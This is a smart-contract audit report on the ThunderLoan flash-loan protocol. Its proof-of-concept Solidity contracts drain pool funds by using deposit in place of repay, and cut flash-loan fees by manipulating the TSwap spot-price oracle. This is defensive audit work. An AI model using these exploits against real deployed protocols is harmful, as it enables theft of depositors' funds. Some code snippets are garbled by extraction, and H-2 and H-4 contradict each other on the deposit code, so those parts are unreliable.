



# Protocol Audit Report

Version 1.0

*Cyfrin.io*

September 25, 2025

# Protocol Audit Report

Cyfrin.io

September 25, 2025

Prepared by: YoYiL Lead Auditors: - YoYiL

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - \* [H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`
    - \* [H-2] Erroneous `ThunderLoan::updateExchange` in the deposit function causes the protocol to overestimate fees, blocking redemptions and mispricing the exchange rate
    - \* [H-3] Fee unit mismatch leads to incorrect repayment checks and potential DoS/undercharging
    - \* [H-4] By calling a flash loan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can steal all funds from the protocol

- Medium
  - \* [M-1] Using TSwap as a price oracle enables price/oracle manipulation attacks
  - \* [M-2] Centralization risk for trusted owners
- Low
  - \* [L-1] Empty Function Body - Consider commenting why
  - \* [L-2] Initializers could be front-run
  - \* [L-3] Missing critical event emissions
- Informational
  - \* [I-1] Poor Test Coverage
- Gas
  - \* [G-1] Using bools for storage incurs overhead
  - \* [G-2] Using **private** rather than **public** for constants, saves gas
  - \* [G-3] Unnecessary SLOAD when logging new exchange rate

## Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can **deposit** assets into **ThunderLoan** and be given **AssetTokens** in return. These **AssetTokens** gain interest over time depending on how often people take out flash loans!

## Disclaimer

The YoYiL team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

## Scope

- In Scope:

```

1  |-- interfaces
2  |   |-- IFlashLoanReceiver.sol
3  |   |-- IPoolFactory.sol
4  |   |-- ISwapPool.sol
5  |   |-- IThunderLoan.sol
6  |-- protocol
7  |   |-- AssetToken.sol
8  |   |-- OracleUpgradeable.sol
9  |   |-- ThunderLoan.sol
10 |-- upgradedProtocol
11 |   |-- ThunderLoanUpgraded.sol

```

## Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

## Executive Summary

### Issues found

Severity	Number of issues found
High	4
Medium	2
Low	3
Info	1
Gas	3
Total	13

## Findings

### High

#### [H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

**Description:** `ThunderLoan.sol` defines two variables in the following order:

```
1    uint256 private s_feePrecision;  
2    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the intended upgraded contract `ThunderLoanUpgraded.sol` places them differently:

```
1    uint256 private s_flashLoanFee; // 0.3% ETH fee  
2    uint256 public constant FEE_PRECISION = 1e18;
```

Due to Solidity's storage layout rules, after the upgrade `s_flashLoanFee` will take on the value previously stored in `s_feePrecision`. In upgradeable contracts, you must not reorder storage variables.

**Impact:** Post-upgrade, `s_flashLoanFee` will equal `s_feePrecision`, causing borrowers to be charged an incorrect flash loan fee immediately after the upgrade. Additionally, the `s_currentlyFlashLoaning` mapping will begin at the wrong storage slot, leading to further state corruption.

#### Proof of Code:

Code

Add the following to `ThunderLoanTest.t.sol`:

```
1 // You'll need to import `ThunderLoanUpgraded` as well
2 import { ThunderLoanUpgraded } from "../src/upgradedProtocol/
  ThunderLoanUpgraded.sol";
3
4 function testUpgradeBreaks() public {
5     uint256 feeBeforeUpgrade = thunderLoan.getFee();
6     vm.startPrank(thunderLoan.owner());
7     ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
8     thunderLoan.upgradeTo(address(upgraded));
9     uint256 feeAfterUpgrade = thunderLoan.getFee();
10
11     assert(feeBeforeUpgrade != feeAfterUpgrade);
12 }
```

You can also observe the storage layout differences by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

**Recommended Mitigation:** Do not reorder storage variables during an upgrade, and leave a placeholder slot if replacing a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

#### [H-2] Erroneous `ThunderLoan::updateExchange` in the deposit function causes the protocol to overestimate fees, blocking redemptions and mispricing the exchange rate

**Description:** In the ThunderLoan system, `exchangeRate` determines the conversion between asset tokens and underlying tokens and implicitly tracks fee accruals for liquidity providers.

However, the `deposit` function updates this rate without actually collecting any fees.

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
2     AssetToken assetToken = s_tokenToAssetToken[token];
3     uint256 exchangeRate = assetToken.getExchangeRate();
4     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
5     emit Deposit(msg.sender, token, amount);
6     assetToken.mint(msg.sender, mintAmount);
7
8     // @Audit-High
9     @> // uint256 calculatedFee = getCalculatedFee(token, amount);
10    @> // assetToken.updateExchangeRate(calculatedFee);
11
12     token.safeTransferFrom(msg.sender, address(assetToken), amount);
13 }
```

**Impact:**

- The `redeem` function becomes blocked because the protocol believes the redeemable amount exceeds its actual balance.
- Rewards are miscalculated, potentially giving liquidity providers significantly more or less than they deserve.

**Proof of Concept:** - LP deposits

- A user takes a flash loan
- LP redemption becomes impossible

**Proof of Code**

Place the following into `ThunderLoanTest.t.sol`:

Code

Add the following to `ThunderLoanTest.t.sol`:

```
1 function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2     uint256 amountToBorrow = AMOUNT * 10;
3     uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
4         amountToBorrow);
5     tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
6
7     vm.startPrank(user);
8     thunderLoan.flashLoan(address(mockFlashLoanReceiver), tokenA,
9         amountToBorrow, "");
10    vm.stopPrank();
11
12    uint256 amountToRedeem = type(uint256).max;
13    vm.startPrank(liquidityProvider);
14    thunderLoan.redeem(tokenA, amountToRedeem);
15 }
```

```
13 }
```

**Recommended Mitigation:** Remove the incorrect `updateExchangeRate` calls from `deposit`.

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
2     AssetToken assetToken = s_tokenToAssetToken[token];
3     uint256 exchangeRate = assetToken.getExchangeRate();
4     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
5     emit Deposit(msg.sender, token, amount);
6     assetToken.mint(msg.sender, mintAmount);
7
8     - uint256 calculatedFee = getCalculatedFee(token, amount);
9     - assetToken.updateExchangeRate(calculatedFee);
10
11     token.safeTransferFrom(msg.sender, address(assetToken), amount);
12 }
```

### [H-3] Fee unit mismatch leads to incorrect repayment checks and potential DoS/undercharging

#### Description

The protocol computes flash loan fees in WETH units, but enforces repayment using balances of the borrowed token, mixing incompatible units.

- `getPriceInWeth(token)` returns `ITSwapPool(pool).getPriceOfOnePoolTokenInWeth()`, which by naming and common convention is “WETH per token” with  $1e18$  precision.
- The fee calculation therefore produces a WETH-denominated amount:
  - `valueOfBorrowedToken = (amount[token] * price[WETH/token]) / 1e18` → WETH
  - `fee = (valueOfBorrowedToken[WETH] * s_flashLoanFee[1e18=100%]) / 1e18` → WETH
- Repayment enforcement compares token balances against `startingBalance + fee`, implicitly treating `fee` as token units:
  - `startingBalance` and `endingBalance` are measured in the borrowed token via `token.balanceOf(address(assetToken))`.
  - `if (endingBalance < startingBalance + fee) ...` mixes token units with WETH units.
- This is only consistent when the borrowed asset is WETH; for other tokens, the inequality is dimensionally incorrect.



## Impact

- Non-WETH loans:
  - Overly strict check causing revert/DoS: borrowers cannot satisfy `endingBalance`  $\geq$  `startingBalance` + `fee` because `fee` is not denominated in the borrowed token.
  - Or undercharging: numeric coincidences (due to price scale/rounding) can allow repayments that do not cover the intended fee, harming LPs.
- WETH loans: appear to work, masking the issue in limited testing.
- Net effect: denial-of-service for non-WETH flashloans or incorrect fee collection, leading to protocol revenue loss and broken accounting.

## Proof of Concepts

Conceptual example:

1. token = USDC (6 decimals)
2. price = 0.0003 WETH per USDC (scaled by 1e18)
3. borrow amount = 1\_000\_000 USDC
4. `valueOfBorrowedToken`  $\approx$  300 WETH
5. `fee` (0.3%)  $\approx$  0.9 WETH
6. Repayment check requires:
  - `endingBalance[USDC]`  $\geq$  `startingBalance[USDC]` + 0.9
  - Here 0.9 is a WETH amount, not a USDC amount. The comparison is semantically invalid and will either revert (DoS) or pass incorrectly depending on numeric artifacts.

Minimal test outline:

```
1 function test_Flashloan_NonWeth_FeeUnitMismatch() public {
2     // Arrange: allow USDC, seed pool, set price and fee rate
3     // Act: take flashloan in USDC, repay principal and try to satisfy
4     // Assert: observe revert (DoS) or inconsistent pass depending on
5     //        numeric ranges
6 }
7 function test_Flashloan_Weth_OK() public {
8     // Borrow WETH; units align; assert pass
9 }
```

## Recommended mitigation

Choose one consistent design:

Option A — Charge fee in the borrowed token (simplest; keeps current balance-based check)

- Convert the WETH-denominated fee back to token units using the same price.
- Let `price = WETH per token (1e18)`.

Option B — Collect fee in WETH (split accounting)

- Keep `fee` in WETH and require the borrower to repay fee in WETH to the protocol/treasury.

Additionally:

- Document units and precision explicitly:
  - `getPriceInWeth`: WETH per token, 1e18 precision.
  - `s_flashLoanFee`: 1e18 = 100%.
- Add tests covering non-WETH assets, extreme prices, and rounding boundaries to ensure repayment and fee paths are unit-consistent.

#### **[H-4] By calling a flash loan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can steal all funds from the protocol**

**Description:** By invoking `deposit` to “repay” a flash loan, an attacker can satisfy the repayment check while later redeeming the deposited tokens, effectively stealing the borrowed funds.

**Impact:** This exploit drains the liquidity pool for the flash-loaned token, corrupts internal accounting, and results in a total loss of funds.

**Proof of Concept:** - The attacker initiates a flash loan. - The borrowed funds are deposited into `ThunderLoan` via a malicious contract’s `executeOperation` function. - The flash loan repayment check passes because it compares the `AssetToken` balance before the loan with the post-deposit balance. - After the flash loan completes, the attacker calls `redeem` on `ThunderLoan` to withdraw the “deposited” tokens, capturing the borrowed funds.

Add the following to `ThunderLoanTest.t.sol` and run: `forge test -mt testUseDepositInsteadOfRepayToStealFunds`

#### **Proof of Code:**

Code

Add the following to `ThunderLoanTest.t.sol`:

```
1 function testUseDepositInsteadOfRepayToStealFunds() public
   setAllowedToken hasDeposits {
2     uint256 amountToBorrow = 50e18;
3     DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
4     uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
```

```
5     vm.startPrank(user);
6     tokenA.mint(address(dor), fee);
7     thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
8     dor.redeemMoney();
9     vm.stopPrank();
10
11     assert(tokenA.balanceOf(address(dor)) > fee);
12 }
13
14 contract DepositOverRepay is IFlashLoanReceiver {
15     ThunderLoan thunderLoan;
16     AssetToken assetToken;
17     IERC20 s_token;
18
19     constructor(address _thunderLoan) {
20         thunderLoan = ThunderLoan(_thunderLoan);
21     }
22
23     function executeOperation(
24         address token,
25         uint256 amount,
26         uint256 fee,
27         address, /*initiator*/
28         bytes calldata /*params*/
29     )
30         external
31         returns (bool)
32     {
33         s_token = IERC20(token);
34         assetToken = thunderLoan.getAssetFromToken(IERC20(token));
35         s_token.approve(address(thunderLoan), amount + fee);
36         thunderLoan.deposit(IERC20(token), amount + fee);
37         return true;
38     }
39
40     function redeemMoney() public {
41         uint256 amount = assetToken.balanceOf(address(this));
42         thunderLoan.redeem(s_token, amount);
43     }
44 }
```

**Recommended Mitigation:** Disallow deposits for a token while it is in an active flash loan.

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
2     amount) revertIfNotAllowedToken(token) {
3 +     if (s_currentlyFlashLoaning[token]) {
4 +         revert ThunderLoan__CurrentlyFlashLoaning();
5 +     }
6     AssetToken assetToken = s_tokenToAssetToken[token];
7     uint256 exchangeRate = assetToken.getExchangeRate();
8     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION())
```

```
    ) / exchangeRate;
8    emit Deposit(msg.sender, token, amount);
9    assetToken.mint(msg.sender, mintAmount);
10
11    uint256 calculatedFee = getCalculatedFee(token, amount);
12    assetToken.updateExchangeRate(calculatedFee);
13
14    token.safeTransferFrom(msg.sender, address(assetToken), amount);
15 }
```

## Medium

### [M-1] Using TSwap as a price oracle enables price/oracle manipulation attacks

**Description:** TSwap is a constant-product AMM where prices are derived from pool reserves. An attacker can manipulate the price within a single transaction by trading large amounts, effectively bypassing fees and making on-chain spot prices unreliable for oracle use.

**Impact:** Liquidity providers earn substantially less in fees, and flash loan borrowers can underpay by exploiting manipulated prices.

**Proof of Concept:** All steps occur within one transaction. 1) The user takes a ThunderLoan flash loan of 1000 tokenA and pays the initial fee fee1. During the loan: - They sell 1000 tokenA to depress the price. - Before repaying, they take a second flash loan for another 1000 tokenA. - Because ThunderLoan prices via the TSwap pool, the second loan is significantly cheaper due to the manipulated spot price.

```
1 function getPriceInWeth(address token) public view returns (uint256) {
2     address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
3     );
```

```
@> return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();}
```

2) The user then repays the first flash loan followed by the second.

Add the following to ThunderLoanTest.t.sol.

#### Proof of Code:

Code

Add the following to ThunderLoanTest.t.sol:

```
1 function testOracleManipulation() public {
2     // 1. Setup contracts
3     thunderLoan = new ThunderLoan();
4     tokenA = new ERC20Mock();
5     proxy = new ERC1967Proxy(address(thunderLoan), "");}
```

```
6     BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
7     // Create a TSwap Dex between WETH/TokenA and initialize
      ThunderLoan
8     address tswapPool = pf.createPool(address(tokenA));
9     thunderLoan = ThunderLoan(address(proxy));
10    thunderLoan.initialize(address(pf));
11
12    // 2. Fund TSwap
13    vm.startPrank(LiquidityProvider);
14    tokenA.mint(LiquidityProvider, 100e18);
15    tokenA.approve(address(tswapPool), 100e18);
16    weth.mint(LiquidityProvider, 100e18);
17    weth.approve(address(tswapPool), 100e18);
18    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
      timestamp);
19    vm.stopPrank();
20
21    // 3. Fund ThunderLoan
22    vm.prank(thunderLoan.owner());
23    thunderLoan.setAllowedToken(tokenA, true);
24    vm.startPrank(LiquidityProvider);
25    tokenA.mint(LiquidityProvider, 100e18);
26    tokenA.approve(address(thunderLoan), 100e18);
27    thunderLoan.deposit(tokenA, 100e18);
28    vm.stopPrank();
29
30    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
      );
31    console2.log("Normal Fee is:", normalFeeCost);
32
33    // 4. Execute 2 flash loans
34    uint256 amountToBorrow = 50e18;
35    MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
36      address(tswapPool), address(thunderLoan), address(thunderLoan.
        getAssetFromToken(tokenA))
37    );
38
39    vm.startPrank(user);
40    tokenA.mint(address(flr), 100e18);
41    thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); //
      flr.executeOperation will trigger a second flashloan
42    vm.stopPrank();
43
44    uint256 attackFee = flr.feeOne() + flr.feeTwo();
45    console2.log("Attack Fee is:", attackFee);
46    assert(attackFee < normalFeeCost);
47  }
48
49  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
50    ThunderLoan thunderLoan;
51    address repayAddress;
```

```
52     BuffMockTSwap tswapPool;
53     bool attacked;
54     uint256 public feeOne;
55     uint256 public feeTwo;
56
57     // 1. Swap TokenA borrowed for WETH
58     // 2. Take out a second flash loan to compare fees
59     constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
60         tswapPool = BuffMockTSwap(_tswapPool);
61         thunderLoan = ThunderLoan(_thunderLoan);
62         repayAddress = _repayAddress;
63     }
64
65     function executeOperation(
66         address token,
67         uint256 amount,
68         uint256 fee,
69         address, /* initiator */
70         bytes calldata /* params */
71     )
72     external
73     returns (bool)
74     {
75         if (!attacked) {
76             feeOne = fee;
77             attacked = true;
78             uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
79             IERC20(token).approve(address(tswapPool), 50e18);
80             // Tank the price:
81             tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
82             // Second flash loan
83             thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");
84             // Repay via transfer
85             IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
86         } else {
87             // Record fee and repay
88             feeTwo = fee;
89             IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
90         }
91         return true;
92     }
93 }
```

**Recommended Mitigation:** Use a resilient oracle design, e.g., Chainlink price feeds with a Uniswap TWAP fallback. Additionally, consider: - Minimum observation windows and heartbeat checks - Liquid-

ity thresholds and deviation bounds - Cooldown periods or two-step pricing updates - Circuit breakers when prices move beyond configured limits

### [M-2] Centralization risk for trusted owners

**Impact:** Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

*Instances (2):*

```
1 File: src/protocol/ThunderLoan.sol
2
3 223:     function setAllowedToken(IERC20 token, bool allowed) external
         onlyOwner returns (AssetToken) {
4
5 261:     function _authorizeUpgrade(address newImplementation) internal
         override onlyOwner { }
```

## Low

### [L-1] Empty Function Body - Consider commenting why

*Instances (1):*

```
1 File: src/protocol/ThunderLoan.sol
2
3 261:     function _authorizeUpgrade(address newImplementation) internal
         override onlyOwner { }
```

### [L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

*Instances (6):*

```
1 File: src/protocol/OracleUpgradeable.sol
2
3 11:     function __Oracle_init(address poolFactoryAddress) internal
         onlyInitializing {
```

```
1 File: src/protocol/ThunderLoan.sol
2
```

```

3 138:     function initialize(address tswapAddress) external initializer
      {
4
5 138:     function initialize(address tswapAddress) external initializer
      {
6
7 139:         __Ownable_init();
8
9 140:         __UUPSUpgradeable_init();
10
11 141:         __Oracle_init(tswapAddress);

```

### [L-3] Missing critical event emissions

**Description:** When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

**Recommended Mitigation:** Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```

1 +     event FlashLoanFeeUpdated(uint256 newFee);
2 .
3 .
4 .
5     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
6         if (newFee > s_feePrecision) {
7             revert ThunderLoan__BadNewFee();
8         }
9         s_flashLoanFee = newFee;
10 +     emit FlashLoanFeeUpdated(newFee);
11 }

```

## Informational

### [I-1] Poor Test Coverage

1	Running tests...			
2	File		% Lines	% Statements
3	% Branches   % Funcs			
4	src/protocol/AssetToken.sol		70.00% (7/10)	76.92% (10/13)
5	src/protocol/OracleUpgradeable.sol		100.00% (6/6)	100.00% (9/9)
	50.00% (1/2)   66.67% (4/6)			
	100.00% (0/0)   80.00% (4/5)			



6		src/protocol/ThunderLoan.sol		64.52% (40/62)		68.35% (54/79)
		37.50% (6/16)		71.43% (10/14)		

**Recommended Mitigation:** Aim to get test coverage up to over 90% for all files.

## Gas

### [G-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a `Gwarmaccess` (100 gas), and to avoid `Gsset` (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

*Instances (1):*

```
1 File: src/protocol/ThunderLoan.sol
2
3 98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
      s_currentlyFlashLoaning;
```

### [G-2] Using private rather than public for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

*Instances (3):*

```
1 File: src/protocol/AssetToken.sol
2
3 25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
4
5 96:     uint256 public constant FEE_PRECISION = 1e18;
```

### [G-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
1  s_exchangeRate = newExchangeRate;  
2  - emit ExchangeRateUpdated(s_exchangeRate);  
3  + emit ExchangeRateUpdated(newExchangeRate);
```